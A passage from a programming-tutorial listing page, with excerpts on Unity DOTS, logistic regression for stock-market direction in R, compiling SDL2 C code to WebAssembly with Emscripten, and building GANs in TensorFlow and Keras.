System: A system is where the behavior is. Each system takes a list of components and executes a function over all the entities composed by the components of the archetype. [box type="shadow" align="" class="" width=""]To be technically correct, an entity is not a collection data structure. Instead, it is a pointer to a location in memory where the entity’s components are stored. The actual storage, though, is handled by Unity.[/box] With this system, we can store components into contiguous arrays, and an entity is just a pointer to the archetype instance. A single function for each system can define the behavior of thousands of similar entities. This is more efficient than running an Update on every MonoBehavior in every GameObject. For this reason, with ECS, we can use entities without any slowdown or system overhead where it was impossible with GameObject instances. For instance, having an entity for each particle of a particle system. For more technical info on ECS there is a very detailed blog post on Unity’s official website. The C# Job System If ECS is how we describe the scene, we need a way to run the systems efficiently. As we said in the introduction, the modern approach to efficiency is to exploit every core in our system, and this means to run code in parallel using massive multithreaded systems. Sadly, multi-threading is hard. Extremely hard. As any experienced developer can tell you, moving from single-thread to multi-thread programming introduce a large class of new issues and bugs such as race conditions. Moreover, for true multi-threading, we should go as much close as possible to the metal, avoiding all the dynamic allocations and deallocations of C# and the Garbage Collector and code part of our game in C++. Luckily for us, Unity introduced a component in Data-Oriented Technology Stack with the specific purpose of simplifying multithreaded programming in Unity using only C#: the Job System. You can imagine a Job as a piece of code that you want to run in parallel over as much cores as possible. The Unity C# Job System helps you design this code in a way to avoid all common multi-threading pitfalls using only C#. You can finally unleash all the power of your machine without writing a single line of C++ code. The Burst Compiler What if I tell you that it is possible to obtain higher performances by writing C# code instead of C++? You would think I am crazy. However, I am not, and this the goal of the last component of Data-Oriented Technology Stack (DOTS): the Burst compiler. The Burst compiler is a specialized code-generator that compiles a subset of C# (often called High-Performance C# or HPC#) into machine code that is, most of the time, smaller and faster than the one that is generated by an equivalent C++ code. The Burst compiler is still in preview, but you can already try it by using the Unity's Package Manager. Of course, you get the most from it when combined with the other two DOTS components. For more technical info on the Burst compiler, you can refer to Unity’s blog post. Learn More About Unity Optimization In this article, we only scratched the surface of Data-Oriented Technology Stack (DOTS). If you want to learn more on how to use the DOTS technologies and other optimization techniques for Unity you can read more in my  book Unity Game Optimization - Third Edition. This Unity book is your guide to optimizing various aspects of your game development, from game characters and scripts, right through to animations. You will also explore techniques for solving performance issues with your VR projects and learn best practices for project organization to save time through an improved workflow. Author Bio Dr. Davide Aversa holds a PhD in artificial intelligence and an MSc in artificial intelligence and robotics from the University of Rome La Sapienza in Italy. He has a strong interest in artificial intelligence for the development of interactive virtual agents and procedural content generation. He served as a Program Committee member of video game-related conferences such as the IEEE conference on computational intelligence and games, and he also regularly participates in game-jam contests. He also writes a blog on game design and game development. You can find him on Twitter, Github, Linkedin. Unity 2019.2 releases with updated ProBuilder, Shader Graph, 2D Animation, Burst Compiler and more Japanese Anime studio Khara is switching its primary 3D CG tools to Blender Following Epic Games, Ubisoft joins Blender Development fund; adopts Blender as its main DCC tool
Read more
  • 0
  • 0
  • 39768

article-image-using-logistic-regression-predict-market-direction-algorithmic-trading
Richa Tripathi
14 Feb 2018
9 min read
Save for later

Using Logistic regression to predict market direction in algorithmic trading

Richa Tripathi
14 Feb 2018
9 min read
[box type="note" align="" class="" width=""]This article is an excerpt from a book by Dr. Param Jeet and Prashant Vats titled Learning Quantitative Finance with R. This book will help you learn about various algorithmic trading techniques and ways to optimize them using the tools available in R.[/box] In this tutorial we will learn how logistic regression is used to forecast market direction. Market direction is very important for investors or traders. Predicting market direction is quite a challenging task as market data involves lots of noise. The market moves either upward or downward and the nature of market movement is binary. A logistic regression model help us to fit a model using binary behavior and forecast market direction. Logistic regression is one of the probabilistic models which assigns probability to each event. We are going to use the quantmod package. The next three commands are used for loading the package into the workspace, importing data into R from the yahoo repository and extracting only the closing price from the data: >library("quantmod") >getSymbols("^DJI",src="yahoo") >dji<- DJI[,"DJI.Close"] The input data to the logistic regression is constructed using different indicators, such as moving average, standard deviation, RSI, MACD, Bollinger Bands, and so on, which has some predictive power in market direction, that is, Up or Down. These indicators can be constructed using the following commands: >avg10<- rollapply(dji,10,mean) >avg20<- rollapply(dji,20,mean) >std10<- rollapply(dji,10,sd) >std20<- rollapply(dji,20,sd) >rsi5<- RSI(dji,5,"SMA") >rsi14<- RSI(dji,14,"SMA") >macd12269<- MACD(dji,12,26,9,"SMA") >macd7205<- MACD(dji,7,20,5,"SMA") >bbands<- BBands(dji,20,"SMA",2) The following commands are to create variable direction with either Up direction (1) or Down direction (0). Up direction is created when the current price is greater than the 20 days previous price and Down direction is created when the current price is less than the 20 days previous price: >direction<- NULL >direction[dji> Lag(dji,20)] <- 1 >direction[dji< Lag(dji,20)] <- 0 Now we have to bind all columns consisting of price and indicators, which is shown in the following command: >dji<- cbind(dji,avg10,avg20,std10,std20,rsi5,rsi14,macd12269,macd7205,bbands,dire ction) The dimension of the dji object can be calculated using dim(). I used dim() over dji and saved the output in dm(). dm() has two values stored: the first value is the number of rows and the second value is the number of columns in dji. Column names can be extracted using colnames(). The third command is used to extract the name for the last column. Next I replaced the column name with a particular name, Direction: >dm<- dim(dji) >dm [1] 2493   16 >colnames(dji)[dm[2]] [1] "..11" >colnames(dji)[dm[2]] <- "Direction" >colnames(dji)[dm[2]] [1] "Direction" We have extracted the Dow Jones Index (DJI) data into the R workspace. Now, to implement logistic regression, we should divide the data into two parts. The first part is in- sample data and the second part is out-sample data. In-sample data is used for the model building process and out-sample data is used for evaluation purposes. This process also helps to control the variance and bias in the model. The next four lines are for in-sample start, in-sample end, out-sample start, and out-sample end dates: >issd<- "2010-01-01" >ised<- "2014-12-31" >ossd<- "2015-01-01" >osed<- "2015-12-31" The following two commands are to get the row number for the dates, that is, the variable isrow extracts row numbers for the in-sample date range and osrow extracts the row numbers for the out-sample date range: >isrow<- which(index(dji) >= issd& index(dji) <= ised) >osrow<- which(index(dji) >= ossd& index(dji) <= osed) The variables isdji and osdji are the in-sample and out-sample datasets respectively: >isdji<- dji[isrow,] >osdji<- dji[osrow,] If you look at the in-sample data, that is, isdji, you will realize that the scaling of each column is different: a few columns are in the scale of 100, a few others are in the scale of 10,000, and a few others are in the scale of 1. Difference in scaling can put your results in trouble as higher weights are being assigned to higher scaled variables. So before moving ahead, you should consider standardizing the dataset. I will use the following formula: standardized data =  The mean and standard deviation of each column using apply() can be seen here: >isme<- apply(isdji,2,mean) >isstd<- apply(isdji,2,sd) An identity matrix of dimension equal to the in-sample data is generated using the following command, which is going to be used for normalization: >isidn<- matrix(1,dim(isdji)[1],dim(isdji)[2]) Use formula 6.1 to standardize the data: >norm_isdji<-  (isdji - t(isme*t(isidn))) / t(isstd*t(isidn)) The preceding line also standardizes the direction column, that is, the last column. We don't want direction to be standardized so I replace the last column again with variable direction for the in-sample data range: >dm<- dim(isdji) >norm_isdji[,dm[2]] <- direction[isrow] Now we have created all the data required for model building. You should build a logistic regression model and it will help you to predict market direction based on in-sample data. First, in this step, I created a formula which has direction as dependent and all other columns as independent variables. Then I used a generalized linear model, that is, glm(), to fit a model which has formula, family, and dataset: >formula<- paste("Direction ~ .",sep="") >model<- glm(formula,family="binomial",norm_isdji) A summary of the model can be viewed using the following command: >summary(model) Next use predict() to fit values on the same dataset to estimate the best fitted value: >pred<- predict(model,norm_isdji) Once you have fitted the values, you should try to convert it to probability using the following command. This will convert the output into probabilistic form and the output will be in the range [0,1]: >prob<- 1 / (1+exp(-(pred))) The figure shown below is plotted using the following commands. The first line of the code shows that we divide the figure into two rows and one column, where the first figure is for prediction of the model and the second figure is for probability: >par(mfrow=c(2,1)) >plot(pred,type="l") >plot(prob,type="l") head() can be used to look at the first few values of the variable: >head(prob) 2010-01-042010-01-05 2010-01-06 2010-01-07 0.8019197  0.4610468  0.7397603  0.9821293 The following figure shows the above-defined variable pred, which is a real number, and its conversion between 0 and 1, which represents probability, that is, prob, using the preceding transformation: Figure 6.1: Prediction and probability distribution of DJI As probabilities are in the range of (0,1) so is our vector prob. Now, to classify them as one of the two classes, I considered Up direction (1) when prob is greater than 0.5 and Down direction (0) when prob is less than 0.5. This assignment can be done using the following commands. prob> 0.5 generate true for points where it is greater and pred_direction[prob> 0.5] assigns 1 to all such points. Similarly, the next statement shows assignment 0 when probability is less than or equal to 0.5: >pred_direction<- NULL >pred_direction[prob> 0.5] <- 1 >pred_direction[prob<= 0.5] <- 0 Once we have figured out the predicted direction, we should check model accuracy: how much our model has predicted Up direction as Up direction and Down as Down. There might be some scenarios where it predicted the opposite of what it is, such as predicting down when it is actually Up and vice versa. We can use the caret package to calculate confusionMatrix(), which gives a matrix as an output. All diagonal elements are correctly predicted and off-diagonal elements are errors or wrongly predicted. One should aim to reduce the off-diagonal elements in a confusion matrix: >install.packages('caret') >library(caret) >matrix<- confusionMatrix(pred_direction,norm_isdji$Direction) >matrix Confusion Matrix and Statistics Reference Prediction               0                     1 0            362                    35 1             42                   819 Accuracy : 0.9388        95% CI : (0.9241, 0.9514) No Information Rate : 0.6789   P-Value [Acc>NIR] : <2e-16 Kappa : 0.859                        Mcnemar's Test P-Value : 0.4941 Sensitivity : 0.8960                        Specificity : 0.9590 PosPredValue : 0.9118   NegPred Value : 0.9512 Prevalence : 0.3211                          Detection Rate : 0.2878 Detection Prevalence : 0.3156 Balanced Accuracy : 0.9275 The preceding table shows we have got 94% correct prediction, as 362+819 = 1181 are correct predictions out of 1258 (sum of all four values). Prediction above 80% over in-sample data is generally assumed good prediction; however, 80% is not fixed, one has to figure out this value based on the dataset and industry. Now you have implemented the logistic regression model, which has predicted 94% correctly, and need to test it for generalization power. One should test this model using out-sample data and test its accuracy. The first step is to standardize the out-sample data using formula (6.1). Here mean and standard deviations should be the same as those used for in-sample normalization: >osidn<- matrix(1,dim(osdji)[1],dim(osdji)[2]) >norm_osdji<-  (osdji - t(isme*t(osidn))) / t(isstd*t(osidn)) >norm_osdji[,dm[2]] <- direction[osrow] Next we use predict() on the out-sample data and use this value to calculate probability: >ospred<- predict(model,norm_osdji) >osprob<- 1 / (1+exp(-(ospred))) Once probabilities are determined for the out-sample data, you should put it into either Up or Down classes using the following commands. ConfusionMatrix() here will generate a matrix for the out-sample data: >ospred_direction<- NULL >ospred_direction[osprob> 0.5] <- 1 >ospred_direction[osprob<= 0.5] <- 0 >osmatrix<- confusionMatrix(ospred_direction,norm_osdji$Direction) >osmatrix Confusion Matrix and Statistics Reference Prediction            0                       1 0          115                     26 1           12                     99 Accuracy : 0.8492       95% CI : (0.7989, 0.891) This shows 85% accuracy on the out-sample data. A realistic trading model also accounts for trading cost and market slippage, which decrease the winning odds significantly. We presented advanced techniques implemented in capital markets and also learned logistic regression model using binary behavior to forecast market direction. If you enjoyed this excerpt, check out the book  Learning Quantitative Finance with R to deep dive into the vast world of algorithmic and machine-learning based trading.    
Read more
  • 0
  • 1
  • 39747
article-image-creating-and-loading-a-webassembly-module-with-emscriptens-glue-code-tutorial
Prasad Ramesh
04 Jan 2019
10 min read
Save for later

Creating and loading a WebAssembly module with Emscripten's glue code [Tutorial]

Prasad Ramesh
04 Jan 2019
10 min read
With simple C code you can test the compiler without having to accommodate for included libraries or WebAssembly's limitations. We can overcome some of the limitations of WebAssembly in C / C++ code with minimal performance loss by utilizing some of Emscripten's capabilities. In this tutorial, we'll cover the compilation and loading steps of a WebAssembly module that correspond with the use of Emscripten's glue code. The code for this tutorial is available on GitHub. This article is an excerpt from a book written by Mike Rourke titled Learn WebAssembly. In this book, you will learn how to wield WebAssembly to break through the current barriers of web development and build an entirely new class of performant applications. Compiling C with Emscripten glue code By passing certain flags to the emcc command, we can output JavaScript glue code alongside the .wasm file as well as an HTML file to handle the loading process. In this section, we're going to write a complex C program and compile it with the output options that Emscripten offers. Writing the example C code Emscripten offers a lot of extra functionality that enables us to interact with our C and C++ code with JavaScript and vice versa. Some of these capabilities are Emscripten-specific and don't correspond to the Core Specification or its APIs. In our first example, we'll take advantage of one of Emscripten's ported libraries and a function provided by Emscripten's API. The following program uses a Simple DirectMedia Layer (SDL2) to move a rectangle diagonally across a canvas in an infinite loop. It was taken from https://github.com/timhutton/sdl-canvas-wasm, but I converted it from C++ to C and modified the code slightly. The code for this section is located in the /chapter-05-create-load-module folder of the learn-webassembly repository. Follow the following instructions to compile C with Emscripten. Create a folder in your /book-examples folder named /chapter-05-create-load-module. Create a new file in this folder named with-glue.c and populate it with the following contents: /* * Converted to C code taken from: * https://github.com/timhutton/sdl-canvas-wasm * Some of the variable names and comments were also * slightly updated. */ #include <SDL2/SDL.h> #include <emscripten.h> #include <stdlib.h> // This enables us to have a single point of reference // for the current iteration and renderer, rather than // have to refer to them separately. typedef struct Context { SDL_Renderer *renderer; int iteration; } Context; /* * Looping function that draws a blue square on a red * background and moves it across the <canvas>. */ void mainloop(void *arg) { Context *ctx = (Context *)arg; SDL_Renderer *renderer = ctx->renderer; int iteration = ctx->iteration; // This sets the background color to red: SDL_SetRenderDrawColor(renderer, 255, 0, 0, 255); SDL_RenderClear(renderer); // This creates the moving blue square, the rect.x // and rect.y values update with each iteration to move // 1px at a time, so the square will move down and // to the right infinitely: SDL_Rect rect; rect.x = iteration; rect.y = iteration; rect.w = 50; rect.h = 50; SDL_SetRenderDrawColor(renderer, 0, 0, 255, 255); SDL_RenderFillRect(renderer, &rect); SDL_RenderPresent(renderer); // This resets the counter to 0 as soon as the iteration // hits the maximum canvas dimension (otherwise you'd // never see the blue square after it travelled across // the canvas once). if (iteration == 255) { ctx->iteration = 0; } else { ctx->iteration++; } } int main() { SDL_Init(SDL_INIT_VIDEO); SDL_Window *window; SDL_Renderer *renderer; // The first two 255 values represent the size of the <canvas> // element in pixels. SDL_CreateWindowAndRenderer(255, 255, 0, &window, &renderer); Context ctx; ctx.renderer = renderer; ctx.iteration = 0; // Call the function repeatedly: int infinite_loop = 1; // Call the function as fast as the browser wants to render // (typically 60fps): int fps = -1; // This is a function from emscripten.h, it sets a C function // as the main event loop for the calling thread: emscripten_set_main_loop_arg(mainloop, &ctx, fps, infinite_loop); SDL_DestroyRenderer(renderer); SDL_DestroyWindow(window); SDL_Quit(); return EXIT_SUCCESS; } The emscripten_set_main_loop_arg() toward the end of the main() function is available because we included emscripten.h at the top of the file. The variables and functions prefixed with SDL_ are available because of the #include <SDL2/SDL.h> at the top of the file. If you're seeing a squiggly red error line under the <SDL2/SDL.h> statement, you can disregard it. It's due to SDL's include path not being present in your c_cpp_properties.json file. Compiling the example C code Now that we have our C code written, we'll need to compile it. One of the required flags you must pass to the emcc command is -o <target>, where <target> is the path to the desired output file. The extension of that file will do more than just output that file; it impacts some of the decisions the compiler makes. The following table, taken from Emscripten's emcc documentation at http://kripken.github.io/emscripten-site/docs/tools_reference/emcc.html#emcc-o-target, defines the generated output types based on the file extension specified: ExtensionOutput<name>.js JavaScript glue code (and .wasm if the s WASM=1 flag is specified). <name>.html HTML and separate JavaScript file (<name>.js). Having the separate JavaScript file improves page load time. <name>.bc LLVM bitcode (default). <name>.o LLVM bitcode (same as .bc). <name>.wasm Wasm file only. You can disregard the .bc and .o file extensions—we won't need to output LLVM bitcode. The .wasm extension isn't on the emcc Tools Reference page, but it is a valid option if you pass the correct compiler flags. These output options factor into the C/C++ code we write. Outputting HTML with glue code If you specify an HTML file extension (for example, -o with-glue.html) for the output, you'll end up with a with-glue.html, with-glue.js, and with-glue.wasm file (assuming you also specified -s WASM=1). If you have a main() function in the source C/C++ file, it'll execute that function as soon as the HTML loads. Let's compile our example C code to see this in action. To compile it with the HTML file and JavaScript glue code, cd into the /chapter-05-create-load-module folder and run the following command: emcc with-glue.c -O3 -s WASM=1 -s USE_SDL=2 -o with-glue.html The first time you run this command, Emscripten is going to download and build the SDL2 library. It could take several minutes to complete this, but you'll only need to wait once. Emscripten caches the library so subsequent builds will be much faster. Once the build is complete, you'll see three new files in the folder: HTML, JavaScript, and Wasm files. Run the following command to serve the file locally: serve -l 8080 If you open your browser up to http://127.0.0.1:8080/with-glue.html, you should see the following: The blue rectangle should be moving diagonally from the upper-left corner of the red rectangle to the lower-right. Since you specified a main() function in the C file, Emscripten knows it should execute it right away. If you open up the with-glue.html file in VS code and scroll to the bottom of the file, you will see the loading code. You won't see any references to the WebAssembly object; that's being handled in the JavaScript glue code file. Outputting glue code with no HTML The loading code that Emscripten generates in the HTML file contains error handling and other helpful functions to ensure the module is loading before executing the main() function. If you specify .js for the extension of the output file, you'll have to create an HTML file and write the loading code yourself. In the next section, we're going to dig into the loading code in more detail. Loading the Emscripten module Loading and interacting with a module that utilizes Emscripten's glue code is considerably different from WebAssembly's JavaScript API. This is because Emscripten provides additional functionality for interacting with the JavaScript code. In this section, we're going to discuss the loading code that Emscripten provides when outputting an HTML file and review the process for loading an Emscripten module in the browser. Pre-generated loading code If you specify -o <target>.html when running the emcc command, Emscripten generates an HTML file and automatically adds code to load the module to the end of the file. Here's what the loading code in the HTML file looks like with the contents of each Module function excluded: var statusElement = document.getElementById('status'); var progressElement = document.getElementById('progress'); var spinnerElement = document.getElementById('spinner'); var Module = { preRun: [], postRun: [], print: (function() {...})(), printErr: function(text) {...}, canvas: (function() {...})(), setStatus: function(text) {...}, totalDependencies: 0, monitorRunDependencies: function(left) {...} }; Module.setStatus('Downloading...'); window.onerror = function(event) { Module.setStatus('Exception thrown, see JavaScript console'); spinnerElement.style.display = 'none'; Module.setStatus = function(text) { if (text) Module.printErr('[post-exception status] ' + text); }; }; The functions within the Module object are present to detect and address errors, monitor the loading status of the Module, and optionally execute some functions before or after the run() method from the corresponding glue code file executes. The canvas function, shown in the following snippet, returns the <canvas> element from the DOM that was specified in the HTML file before the loading code: canvas: (function() { var canvas = document.getElementById('canvas'); canvas.addEventListener( 'webglcontextlost', function(e) { alert('WebGL context lost. You will need to reload the page.'); e.preventDefault(); }, false ); return canvas; })(), This code is convenient for detecting errors and ensuring the Module is loaded, but for our purposes, we won't need to be as verbose. Writing custom loading code Emscripten's generated loading code provides helpful error handling. If you're using Emscripten's output in production, I would recommend that you include it to ensure you're handling errors correctly. However, we don't actually need all the code to utilize our Module. Let's write some much simpler code and test it out. First, let's compile our C file down to glue code with no HTML output. To do that, run the following command: emcc with-glue.c -O3 -s WASM=1 -s USE_SDL=2 -s MODULARIZE=1 -o custom-loading.js The -s MODULARIZE=1 compiler flag allows us to use a Promise-like API to load our Module. Once the compilation is complete, create a file in the /chapter-05-create-load-module folder named custom-loading.html and populate it with the following contents: The loading code is now using ES6's arrow function syntax for the canvas loading function, which reduces the lines of code required. Start your local server by running the serve command within the /chapter-05-create-load-module folder: serve -l 8080 When you navigate to http://127.0.0.1:8080/custom-loading.html in your browser, you should see this: Of course, the function we're running isn't very complex, but it demonstrates the bare-bones requirements for loading Emscripten's Module. For now just be aware that the loading process is different from WebAssembly, which we'll cover in the next section. In this article, we looked at compiling C with Emscripten glue code and loading the Emscripten module. We also covered writing example C code and custom code. To know more about compiling C without the glue code, instantiating a Wasm file, installing the required dependencies for the actions performed here, and know build WebAssembly applications, check out the book Learn WebAssembly. How has Rust and WebAssembly evolved in 2018 WebAssembly – Trick or Treat? Mozilla shares plans to bring desktop applications, games to WebAssembly and make deeper inroads for the future web
Read more
  • 0
  • 0
  • 39688

article-image-how-to-build-deep-convolutional-gan-using-tensorflow-and-keras
Savia Lobo
29 May 2018
13 min read
Save for later

How to build Deep convolutional GAN using TensorFlow and Keras

Savia Lobo
29 May 2018
13 min read
In this tutorial, we will learn to build both simple and deep convolutional GAN models with the help of TensorFlow and Keras deep learning frameworks. [box type="note" align="" class="" width=""]This article is an excerpt taken from the book Mastering TensorFlow 1.x written by Armando Fandango.[/box] Simple GAN with TensorFlow For building the GAN with TensorFlow, we build three networks, two discriminator models, and one generator model with the following steps: Start by adding the hyper-parameters for defining the network: # graph hyperparameters g_learning_rate = 0.00001 d_learning_rate = 0.01 n_x = 784 # number of pixels in the MNIST image # number of hidden layers for generator and discriminator g_n_layers = 3 d_n_layers = 1 # neurons in each hidden layer g_n_neurons = [256, 512, 1024] d_n_neurons = [256] # define parameter ditionary d_params = {} g_params = {} activation = tf.nn.leaky_relu w_initializer = tf.glorot_uniform_initializer b_initializer = tf.zeros_initializer Next, define the generator network: z_p = tf.placeholder(dtype=tf.float32, name='z_p', shape=[None, n_z]) layer = z_p # add generator network weights, biases and layers with tf.variable_scope('g'): for i in range(0, g_n_layers): w_name = 'w_{0:04d}'.format(i) g_params[w_name] = tf.get_variable( name=w_name, shape=[n_z if i == 0 else g_n_neurons[i - 1], g_n_neurons[i]], initializer=w_initializer()) b_name = 'b_{0:04d}'.format(i) g_params[b_name] = tf.get_variable( name=b_name, shape=[g_n_neurons[i]], initializer=b_initializer()) layer = activation( tf.matmul(layer, g_params[w_name]) + g_params[b_name]) # output (logit) layer i = g_n_layers w_name = 'w_{0:04d}'.format(i) g_params[w_name] = tf.get_variable( name=w_name, shape=[g_n_neurons[i - 1], n_x], initializer=w_initializer()) b_name = 'b_{0:04d}'.format(i) g_params[b_name] = tf.get_variable( name=b_name, shape=[n_x], initializer=b_initializer()) g_logit = tf.matmul(layer, g_params[w_name]) + g_params[b_name] g_model = tf.nn.tanh(g_logit) Next, define the weights and biases for the two discriminator networks that we shall build: with tf.variable_scope('d'): for i in range(0, d_n_layers): w_name = 'w_{0:04d}'.format(i) d_params[w_name] = tf.get_variable( name=w_name, shape=[n_x if i == 0 else d_n_neurons[i - 1], d_n_neurons[i]], initializer=w_initializer()) b_name = 'b_{0:04d}'.format(i) d_params[b_name] = tf.get_variable( name=b_name, shape=[d_n_neurons[i]], initializer=b_initializer()) #output (logit) layer i = d_n_layers w_name = 'w_{0:04d}'.format(i) d_params[w_name] = tf.get_variable( name=w_name, shape=[d_n_neurons[i - 1], 1], initializer=w_initializer()) b_name = 'b_{0:04d}'.format(i) d_params[b_name] = tf.get_variable( name=b_name, shape=[1], initializer=b_initializer()) Now using these parameters, build the discriminator that takes the real images as input and outputs the classification: # define discriminator_real # input real images x_p = tf.placeholder(dtype=tf.float32, name='x_p', shape=[None, n_x]) layer = x_p with tf.variable_scope('d'): for i in range(0, d_n_layers): w_name = 'w_{0:04d}'.format(i) b_name = 'b_{0:04d}'.format(i) layer = activation( tf.matmul(layer, d_params[w_name]) + d_params[b_name]) layer = tf.nn.dropout(layer,0.7) #output (logit) layer i = d_n_layers w_name = 'w_{0:04d}'.format(i) b_name = 'b_{0:04d}'.format(i) d_logit_real = tf.matmul(layer, d_params[w_name]) + d_params[b_name] d_model_real = tf.nn.sigmoid(d_logit_real)  Next, build another discriminator network, with the same parameters, but providing the output of generator as input: # define discriminator_fake # input generated fake images z = g_model layer = z with tf.variable_scope('d'): for i in range(0, d_n_layers): w_name = 'w_{0:04d}'.format(i) b_name = 'b_{0:04d}'.format(i) layer = activation( tf.matmul(layer, d_params[w_name]) + d_params[b_name]) layer = tf.nn.dropout(layer,0.7) #output (logit) layer i = d_n_layers w_name = 'w_{0:04d}'.format(i) b_name = 'b_{0:04d}'.format(i) d_logit_fake = tf.matmul(layer, d_params[w_name]) + d_params[b_name] d_model_fake = tf.nn.sigmoid(d_logit_fake) Now that we have the three networks built, the connection between them is made using the loss, optimizer and training functions. While training the generator, we only train the generator's parameters and while training the discriminator, we only train the discriminator's parameters. We specify this using the var_list parameter to the optimizer's minimize() function. Here is the complete code for defining the loss, optimizer and training function for both kinds of network: g_loss = -tf.reduce_mean(tf.log(d_model_fake)) d_loss = -tf.reduce_mean(tf.log(d_model_real) + tf.log(1 - d_model_fake)) g_optimizer = tf.train.AdamOptimizer(g_learning_rate) d_optimizer = tf.train.GradientDescentOptimizer(d_learning_rate) g_train_op = g_optimizer.minimize(g_loss, var_list=list(g_params.values())) d_train_op = d_optimizer.minimize(d_loss, var_list=list(d_params.values()))  Now that we have defined the models, we have to train the models. The training is done as per the following algorithm: For each epoch: For each batch: get real images x_batch generate noise z_batch train discriminator using z_batch and x_batch generate noise z_batch train generator using z_batch The complete code for training from the notebook is as follows: n_epochs = 400 batch_size = 100 n_batches = int(mnist.train.num_examples / batch_size) n_epochs_print = 50 with tf.Session() as tfs: tfs.run(tf.global_variables_initializer()) for epoch in range(n_epochs): epoch_d_loss = 0.0 epoch_g_loss = 0.0 for batch in range(n_batches): x_batch, _ = mnist.train.next_batch(batch_size) x_batch = norm(x_batch) z_batch = np.random.uniform(-1.0,1.0,size=[batch_size,n_z]) feed_dict = {x_p: x_batch,z_p: z_batch} _,batch_d_loss = tfs.run([d_train_op,d_loss], feed_dict=feed_dict) z_batch = np.random.uniform(-1.0,1.0,size=[batch_size,n_z]) feed_dict={z_p: z_batch} _,batch_g_loss = tfs.run([g_train_op,g_loss], feed_dict=feed_dict) epoch_d_loss += batch_d_loss epoch_g_loss += batch_g_loss if epoch%n_epochs_print == 0: average_d_loss = epoch_d_loss / n_batches average_g_loss = epoch_g_loss / n_batches print('epoch: {0:04d} d_loss = {1:0.6f} g_loss = {2:0.6f}' .format(epoch,average_d_loss,average_g_loss)) # predict images using generator model trained x_pred = tfs.run(g_model,feed_dict={z_p:z_test}) display_images(x_pred.reshape(-1,pixel_size,pixel_size)) We printed the generated images every 50 epochs: As we can see the generator was producing just noise in epoch 0, but by epoch 350, it got trained to produce much better shapes of handwritten digits. You can try experimenting with epochs, regularization, network architecture and other hyper-parameters to see if you can produce even faster and better results. Simple GAN with Keras Now let us implement the same model in Keras:  The hyper-parameter definitions remain the same as the last section: # graph hyperparameters g_learning_rate = 0.00001 d_learning_rate = 0.01 n_x = 784 # number of pixels in the MNIST image # number of hidden layers for generator and discriminator g_n_layers = 3 d_n_layers = 1 # neurons in each hidden layer g_n_neurons = [256, 512, 1024] d_n_neurons = [256]  Next, define the generator network: # define generator g_model = Sequential() g_model.add(Dense(units=g_n_neurons[0], input_shape=(n_z,), name='g_0')) g_model.add(LeakyReLU()) for i in range(1,g_n_layers): g_model.add(Dense(units=g_n_neurons[i], name='g_{}'.format(i) )) g_model.add(LeakyReLU()) g_model.add(Dense(units=n_x, activation='tanh',name='g_out')) print('Generator:') g_model.summary() g_model.compile(loss='binary_crossentropy', optimizer=keras.optimizers.Adam(lr=g_learning_rate) ) This is what the generator model looks like: In the Keras example, we do not define two discriminator networks as we defined in the TensorFlow example. Instead, we define one discriminator network and then stitch the generator and discriminator network into the GAN network. The GAN network is then used to train the generator parameters only, and the discriminator network is used to train the discriminator parameters: # define discriminator d_model = Sequential() d_model.add(Dense(units=d_n_neurons[0], input_shape=(n_x,), name='d_0' )) d_model.add(LeakyReLU()) d_model.add(Dropout(0.3)) for i in range(1,d_n_layers): d_model.add(Dense(units=d_n_neurons[i], name='d_{}'.format(i) )) d_model.add(LeakyReLU()) d_model.add(Dropout(0.3)) d_model.add(Dense(units=1, activation='sigmoid',name='d_out')) print('Discriminator:') d_model.summary() d_model.compile(loss='binary_crossentropy', optimizer=keras.optimizers.SGD(lr=d_learning_rate) ) This is what the discriminator models look: Discriminator: _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= d_0 (Dense) (None, 256) 200960 _________________________________________________________________ leaky_re_lu_4 (LeakyReLU) (None, 256) 0 _________________________________________________________________ dropout_1 (Dropout) (None, 256) 0 _________________________________________________________________ d_out (Dense) (None, 1) 257 ================================================================= Total params: 201,217 Trainable params: 201,217 Non-trainable params: 0 _________________________________________________________________ Next, define the GAN Network, and turn the trainable property of the discriminator model to false, since GAN would only be used to train the generator: # define GAN network d_model.trainable=False z_in = Input(shape=(n_z,),name='z_in') x_in = g_model(z_in) gan_out = d_model(x_in) gan_model = Model(inputs=z_in,outputs=gan_out,name='gan') print('GAN:') gan_model.summary() gan_model.compile(loss='binary_crossentropy', optimizer=keras.optimizers.Adam(lr=g_learning_rate) ) This is what the GAN model looks: GAN: _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= z_in (InputLayer) (None, 256) 0 _________________________________________________________________ sequential_1 (Sequential) (None, 784) 1526288 _________________________________________________________________ sequential_2 (Sequential) (None, 1) 201217 ================================================================= Total params: 1,727,505 Trainable params: 1,526,288 Non-trainable params: 201,217 _________________________________________________________________  Great, now that we have defined the three models, we have to train the models. The training is as per the following algorithm: For each epoch: For each batch: get real images x_batch generate noise z_batch generate images g_batch using generator model combine g_batch and x_batch into x_in and create labels y_out set discriminator model as trainable train discriminator using x_in and y_out generate noise z_batch set x_in = z_batch and labels y_out = 1 set discriminator model as non-trainable train gan model using x_in and y_out, (effectively training generator model) For setting the labels, we apply the labels as 0.9 and 0.1 for real and fake images respectively. Generally, it is suggested that you use label smoothing by picking a random value from 0.0 to 0.3 for fake data and 0.8 to 1.0 for real data. Here is the complete code for training from the notebook: n_epochs = 400 batch_size = 100 n_batches = int(mnist.train.num_examples / batch_size) n_epochs_print = 50 for epoch in range(n_epochs+1): epoch_d_loss = 0.0 epoch_g_loss = 0.0 for batch in range(n_batches): x_batch, _ = mnist.train.next_batch(batch_size) x_batch = norm(x_batch) z_batch = np.random.uniform(-1.0,1.0,size=[batch_size,n_z]) g_batch = g_model.predict(z_batch) x_in = np.concatenate([x_batch,g_batch]) y_out = np.ones(batch_size*2) y_out[:batch_size]=0.9 y_out[batch_size:]=0.1 d_model.trainable=True batch_d_loss = d_model.train_on_batch(x_in,y_out) z_batch = np.random.uniform(-1.0,1.0,size=[batch_size,n_z]) x_in=z_batch y_out = np.ones(batch_size) d_model.trainable=False batch_g_loss = gan_model.train_on_batch(x_in,y_out) epoch_d_loss += batch_d_loss epoch_g_loss += batch_g_loss if epoch%n_epochs_print == 0: average_d_loss = epoch_d_loss / n_batches average_g_loss = epoch_g_loss / n_batches print('epoch: {0:04d} d_loss = {1:0.6f} g_loss = {2:0.6f}' .format(epoch,average_d_loss,average_g_loss)) # predict images using generator model trained x_pred = g_model.predict(z_test) display_images(x_pred.reshape(-1,pixel_size,pixel_size)) We printed the results every 50 epochs, up to 350 epochs: The model slowly learns to generate good quality images of handwritten digits from the random noise. There are so many variations of the GANs that it will take another book to cover all the different kinds of GANs. However, the implementation 